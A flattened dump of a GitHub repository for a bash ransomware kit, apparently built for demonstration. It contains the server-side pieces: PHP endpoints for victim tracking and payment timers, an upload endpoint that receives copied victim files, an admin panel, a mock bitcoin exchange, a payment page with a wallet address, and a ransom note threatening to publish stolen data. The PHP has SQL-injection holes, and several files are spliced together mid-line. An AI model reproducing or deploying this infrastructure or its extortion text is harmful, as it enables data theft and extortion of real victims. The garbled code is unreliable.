├── images
├── hacked.jpg
├── hacker.jpg
├── bitcoin.png
├── HACKER_IMAGE_AUTHOR
├── HACKED_IMAGE_LICENSE
├── BITCOIN_IMAGE_LICENSE
└── HACKER_IMAGE_LICENSE
├── screenshots
├── Exchanges.jpg
├── LoggedIn.jpg
├── TransID.jpg
├── infected.jpg
├── payment1.jpg
├── payment2.jpg
├── DecryptTime.jpg
├── EncryptTime.jpg
├── ExchangeLogin.jpg
├── INSTRUCTIONS_1.jpg
├── INSTRUCTIONS_2.jpg
├── admin_portal.jpg
├── decrypt_page.jpg
├── time_countdown.jpg
├── filename_decrypt.jpg
├── filename_encrypt.jpg
├── Decryption_After_Payment_1.jpg
└── Decryption_After_Payment_2.jpg
├── sample_files
├── bash_ransomware_traffic_capture_http.pcap
└── key.bin
├── sample_apache_conf
├── 000-default.conf
├── server.csr
├── server.crt
├── server.key
├── server.pass.key
└── default-ssl.conf
├── count.php
├── pay_query.php
├── upload.php
├── time_query.php
├── exchange
├── register.php
├── login.php
├── exchange.php
└── index.php
├── scripts
└── JQUERY_LICENSE
├── admin_query.php
├── decrypto.sh
├── query.php
├── target.php
├── payment_info.php
├── admin.php
├── decrypt.php
├── INSTRUCTIONS.html
├── README.md
├── payment.php
├── crypto.sh
└── LICENSE
/images/hacked.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/hacked.jpg
--------------------------------------------------------------------------------
/images/hacker.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/hacker.jpg
--------------------------------------------------------------------------------
/images/bitcoin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/images/bitcoin.png
--------------------------------------------------------------------------------
/screenshots/Exchanges.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Exchanges.jpg
--------------------------------------------------------------------------------
/screenshots/LoggedIn.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/LoggedIn.jpg
--------------------------------------------------------------------------------
/screenshots/TransID.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/TransID.jpg
--------------------------------------------------------------------------------
/screenshots/infected.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/infected.jpg
--------------------------------------------------------------------------------
/screenshots/payment1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/payment1.jpg
--------------------------------------------------------------------------------
/screenshots/payment2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/payment2.jpg
--------------------------------------------------------------------------------
/screenshots/DecryptTime.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/DecryptTime.jpg
--------------------------------------------------------------------------------
/screenshots/EncryptTime.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/EncryptTime.jpg
--------------------------------------------------------------------------------
/screenshots/ExchangeLogin.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/ExchangeLogin.jpg
--------------------------------------------------------------------------------
/screenshots/INSTRUCTIONS_1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/INSTRUCTIONS_1.jpg
--------------------------------------------------------------------------------
/screenshots/INSTRUCTIONS_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/INSTRUCTIONS_2.jpg
--------------------------------------------------------------------------------
/screenshots/admin_portal.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/admin_portal.jpg
--------------------------------------------------------------------------------
/screenshots/decrypt_page.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/decrypt_page.jpg
--------------------------------------------------------------------------------
/screenshots/time_countdown.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/time_countdown.jpg
--------------------------------------------------------------------------------
/screenshots/filename_decrypt.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/filename_decrypt.jpg
--------------------------------------------------------------------------------
/screenshots/filename_encrypt.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/filename_encrypt.jpg
--------------------------------------------------------------------------------
/screenshots/Decryption_After_Payment_1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Decryption_After_Payment_1.jpg
--------------------------------------------------------------------------------
/screenshots/Decryption_After_Payment_2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/screenshots/Decryption_After_Payment_2.jpg
--------------------------------------------------------------------------------
/sample_files/bash_ransomware_traffic_capture_http.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SubtleScope/bash-ransomware/HEAD/sample_files/bash_ransomware_traffic_capture_http.pcap
--------------------------------------------------------------------------------
/images/HACKER_IMAGE_AUTHOR:
--------------------------------------------------------------------------------
1 | AUTHOR SOURCE: www.elbpresse.de
2 |
3 | IMAGE SOURCE: https://commons.wikimedia.org/wiki/File:Hacker_-_Hacking_-_Symbol.jpg
4 |
5 | AUTHOR: Chs87
6 |
--------------------------------------------------------------------------------
/sample_files/key.bin:
--------------------------------------------------------------------------------
1 | BlXnPGGhR0ZjLvmxzoP699RRQkSuJQzOM6P7w71w5K5P1h0b5ycRDPPx4JmTK7MOK3ozXs6l5VXioercagtkfvPgDXePCaspxA4ZItBAjMtu9MLQsJlb6t38GNhXgBWIr9F7cHITfhf60r4vL3Ba6L1c38xgH34YLGUiiEjsepYr8ONBDcU4w7y4R5jeW8TfGnxPF6R6wIbnYB8HANOia86QUsG8cekiifx8Dkcx4bylCUhQKYaEplNdtcSGg2n7
2 |
--------------------------------------------------------------------------------
/images/HACKED_IMAGE_LICENSE:
--------------------------------------------------------------------------------
1 | Image Source: https://upload.wikimedia.org/wikipedia/commons/2/26/You_Have_Been_Hacked%21.jpg
2 |
3 | Image Source: https://en.wikipedia.org/wiki/File:You_Have_Been_Hacked!.jpg
4 |
5 | Image Source: www.inquisitr.com
6 |
7 | Image License: Public Domain
8 |
--------------------------------------------------------------------------------
/sample_apache_conf/000-default.conf:
--------------------------------------------------------------------------------
1 |
" . $conn->error;
27 | }
28 | }
29 | } else {
30 | echo "Please supply the file count!";
31 | }
32 |
33 | $conn->close();
34 |
35 | ?>
36 |
--------------------------------------------------------------------------------
/pay_query.php:
--------------------------------------------------------------------------------
1 | connect_error) {
13 | die("Connection failed: " . $conn->connect_error);
14 | }
15 |
16 | $getTargetID = $_GET['unique_id'];
17 |
18 | $timestamp = time();
19 | $dateTimestamp = new DateTime("@$timestamp");
20 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s');
21 |
22 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) {
23 | $sql = "SELECT timediff(exp_time, \"$timestamp\") as time_left from target_list where unique_id = \"$getTargetID\"";
24 | $result = $conn->query($sql);
25 |
26 | if ($result->num_rows > 0) {
27 | while ($row = $result->fetch_assoc()) {
28 | echo "";
29 | echo "$row[time_left]";
30 | echo "";
31 | }
32 | }
33 | }
34 |
35 | $conn->close();
36 |
37 | ?>
38 |
--------------------------------------------------------------------------------
/upload.php:
--------------------------------------------------------------------------------
1 | 0) {
16 | echo "Error: " . $_FILES['file']['error'];
17 | } else {
18 | move_uploaded_file($_FILES["file"]["tmp_name"], $uploadDir . $_FILES["file"]["name"]);
19 |
20 | if ($_FILES["file"]["name"] == "-") {
21 | if (isset($getFileInfo)) {
22 | rename($uploadDir . $_FILES["file"]["name"], $uploadDir . $getFileInfo);
23 | }
24 | }
25 | }
26 |
27 | } else {
28 | die("File not uploaded.");
29 | }
30 | }
31 | }
32 | } else {
33 | echo "Post - uploadFile not set";
34 | }
35 |
36 | ?>
37 |
--------------------------------------------------------------------------------
/time_query.php:
--------------------------------------------------------------------------------
1 | connect_error) {
13 | die("Connection failed: " . $conn->connect_error);
14 | }
15 |
16 | $getTargetID = $_GET['unique_id'];
17 |
18 | $timestamp = time();
19 | $dateTimestamp = new DateTime("@$timestamp");
20 | $timestamp = $dateTimestamp->format('Y-m-d H:i:s');
21 |
22 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) {
23 | $sql = "SELECT timediff(paid_count, \"$timestamp\") as time_left from target_list where unique_id = \"$getTargetID\"";
24 | $result = $conn->query($sql);
25 |
26 | if ($result->num_rows > 0) {
27 | while ($row = $result->fetch_assoc()) {
28 | echo "
44 | Welcome to M4dH4t'z Bitcoin Exchange45 | |
46 |
| 52 | Welcome, , You have Bitcoin 53 | | 54 |
|
57 | 58 | In order to obtain a transaction id, you need at least 5 BTC. 59 | 62 | |
63 |
27 | Welcome to M4dH4t'z Bitcoin Exchange28 | |
29 |
66 |
67 |
68 |
75 | |
76 |
| 79 | 80 | | 81 |
| 15 | ID 16 | | 17 |18 | Unique ID 19 | | 20 |21 | Target IP 22 | | 23 |24 | File Count 25 | | 26 |27 | Infection Time 28 | | 29 |30 | Expiration Time 31 | | 32 |33 | Time Expired 34 | | 35 |36 | Timer 37 | | 38 |39 | Paid 40 | | 41 |
| "; 76 | echo "$row[id]"; 77 | echo " | "; 78 | echo ""; 79 | echo "$row[unique_id]"; 80 | echo " | "; 81 | echo ""; 82 | echo "$row[target_ip]"; 83 | echo " | "; 84 | echo ""; 85 | echo "$row[file_count]"; 86 | echo " | "; 87 | echo ""; 88 | echo "$row[curr_time]"; 89 | echo " | "; 90 | echo ""; 91 | echo "$row[exp_time]"; 92 | echo " | "; 93 | echo ""; 94 | if ($row['time_expired'] == 1) { 95 | echo "Expired"; 96 | } else { 97 | echo "Not Expired"; 98 | } 99 | echo " | "; 100 | echo "" . "\n"; 109 | echo ""; 110 | echo " | "; 111 | echo ""; 112 | if ($row['paid'] == 0) { 113 | echo "No"; 114 | } else { 115 | echo "Yes"; 116 | } 117 | echo " | "; 118 | echo "
|
12 |
13 | Can't find the files that you need?
14 | 15 | Is the content of your files that you need, unreadable? 16 | 17 | This is normal because the data within your files has been encrypted. 18 | 19 | |
20 |
|
23 | 24 | |
25 |
|
28 |
29 | Congratulations!!
30 | 31 | You have beome a part of an exclusive community, BashCrypt 32 | 33 | |
34 |
|
37 | 38 | |
39 |
| 42 | 43 | If you are reading this text, that means that the software, BashCrypt, has been installed on your system. 44 | 45 | | 46 |
|
49 | 50 | |
51 |
|
54 |
55 | What is encryption?
56 |
57 | 58 | 59 | Encryption is a reversible transformation of information in order to conceal it from unauthorized persons, but providing at the same time access to it for authorized users. To 60 | 61 | become an authorized user and make the process truly reversible, e.g. - to be able to decrypt your files, you need to have a special private key. 62 | 63 | Additionally, you require the corresponding decryption software with which your files wil return to its original form. 64 | 65 | |
66 |
|
69 | 70 | |
71 |
|
74 |
75 | I almost understand, but what do I have to do?
76 |
77 | 78 | 79 | The first thing you should do is to read the instructions to end. 80 | 81 | Your files have been encryptes with the BashCrypt software. The instructions that you find within your folders, along with your encrypted files, are not infected with malware, but rather they are to assist you. 82 | 83 | After reading this text, 100% of people turn to their favorite search engine with the word BashCrypt where you'll find a lot of thoughts, ideas, and instructions. 84 | 85 | Think logically - we are the ones who have locked your files and the only ones who can decrypt your files. 86 | 87 | Any attempts to restore your files with third-party software or tools can be fatal for your encrypted files. 88 | 89 | The fact of the matter is that changing the data within the encrypted files, as 100% of file restoration software and tools do, will irrevocably break your files and make them irrecoverable. Only our special software can restore your files. 90 | 91 | 92 | Do not reboot your system as your core operating systems have been encrypted. Rebooting will make restoration of your system and files impossible. 93 | 94 | 95 | 96 | Please be weary that atempting to load recovery media via USB or CD-ROM has been disabled. Atempting to do so will result in the corruption of your data. 97 | 98 | 99 | 100 | |
101 |
|
104 | 105 | |
106 |
| 109 | 110 | Please Note: Failure to remit payment will result in the publishing of your personal files which have been copied to our system. We will decrypt your files and publish them for the world. Please consider this when deciding whether you would like your files back. 111 | 112 | | 113 |
|
116 | 117 | |
118 |
|
121 |
122 | If you do not heed our advice, we will not be able to help you - plain and simple.
123 | 124 | For your information: the decryption software and the private kes are a paid product. 125 | 126 | 127 | 128 | 129 | 130 | After purchasing the software package, you can: 131 | 132 | 133 | 1. Decrypt all of your files 134 | 135 | 2. Work with your documents 136 | 137 | 3. View your photos, music, and other media 138 | 139 | 4. Continue with your habitual and comfortable work with your system 140 | 141 | 142 | 143 | 144 | If you are aware of the importance and criticality of your situation, then we suggest you go directly to the decryption page. On this page, you will enter your unique code with instructions on how to restore your files. 145 | 146 | 147 | 148 |
149 |
150 |
157 | 152 | 153 | https://192.168.1.132/decrypt.php 154 | |
158 |
|
161 | 162 | 163 | |
164 |
|
167 |
168 | Go to the addres above, enter your unique identification code, and then follow the payment link for how to pay.
169 | 170 | If the website does not open, please check your Internet connection. 171 | 172 | |
173 |
| 127 | Your files have been encrypted! 128 | | 129 |
| 132 | To get the private key and the download script, you must submit your payment before the timer ends. 133 | | 134 |
| 137 | You must submit your payment before 138 | 139 | 140 | or the price will increase! 141 | | 142 |
| 145 | Your time expires in 146 | | 147 |
|
150 |
151 |
152 |
153 |
154 |
155 | |
156 |
|
159 | 160 | First Connected IP: Total encrypted Files: 161 | |
162 |
| 172 | Your files have been encrypted! 173 | | 174 |
| 177 | 178 | Your time has expired and the price has increased! 179 | 180 | | 181 |
| 184 | To get the private key and the decryption script, you must submit your paymentat the higher rate! 185 | | 186 |
|
189 | Your time is
190 |
191 |
192 |
193 |
194 | overdue!
195 | |
196 |
|
199 | 200 | First Connected IP: Total encrypted Files: 201 | |
202 |
| 212 | We present a special software, called BashDecrypt that allows you to decrypt your files. 213 | | 214 |
| 217 | How to buy the BashDecrypt software? 218 | | 219 |
|
222 | 223 | 224 |
225 | 226 | 227 | |
228 |
| 231 | 1. You should click here to find out how to sign up for a Bitcoin wallet. 232 | | 233 |
| 236 | 237 | | 238 |
| 241 | 2. Buying Bitcoin is getting simpler every day, See the below for ways to buy Bitcoin: 242 | | 243 |
246 |
|
265 |
| 268 | 3. Send BTC to Bitcoin address: 10Lq24MSC9jB6DgQWZ917kFapajwNMifpgT 269 | | 270 |
| 273 | 274 | | 275 |
|
278 | 4. Enter the Transaction ID: Amount:
279 | 280 | Transaction ID - You can find this information in your transaction details 281 | |
282 |
| 285 | 286 | | 287 |
| 290 | 5. Ensure your payment information and then Click 'Pay' 291 | | 292 |
| 295 | 296 | | 297 |
| 300 | 301 | | 302 |